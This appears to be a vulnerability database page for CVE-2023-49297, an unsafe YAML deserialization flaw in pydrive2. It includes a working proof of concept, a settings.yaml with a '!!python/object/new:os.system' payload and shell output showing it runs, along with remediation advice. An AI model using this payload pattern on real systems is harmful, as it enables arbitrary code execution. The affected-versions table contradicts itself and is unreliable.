CVE-2023-49297 is a low-severity (CVSS 3.3) Deserialization of Untrusted Data vulnerability in pydrive2. 1 public exploit or proof-of-concept reference is indexed, so weaponization risk is real. A fix is available for pydrive2 — see the affected versions and patch details below.
Unsafe YAML deserialization in PyDrive2
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
pydrive2🐍pydrive2Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
Summary
Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.
Details
The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5
This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121
CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.
Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf
PoC
- Create a malicious
settings.yamlfile:
!!python/object/new:os.system [echo poc]
- Initialize a
GoogleAuthobject .
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
- Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES client_secrets.json CONTRIBUTING.rst docs examples LICENSE main.py MANIFEST.in pydrive2 pyproject.toml pytest.ini README.rst settings.yaml setup.py tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py
from pydrive2.auth import GoogleAuth
gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py
poc
Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile
Impact
This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | pydrive2 | all versions | No fix |
| 🐍PyPI | pydrive2 | all versions | 1.16.2pip install --upgrade 'pydrive2==1.16.2' |
Affected Products
pydrive2iterativeResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for pydrive2, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
A fix is available for CVE-2023-49297; check the affected-versions list above or the advisory for the patched release of pydrive2, then make sure no transitive dependency still pins the vulnerable range.
Workarounds
Do not deserialise data from untrusted sources: where the format allows it, restrict deserialisation to an explicit allowlist of expected types, and prefer a data-only format (JSON, Protobuf) over one that can reconstruct arbitrary objects until you can upgrade.
Frequently Asked Questions
Is CVE-2023-49297 in your dependencies?
Find it across PyPI, including transitive dependencies.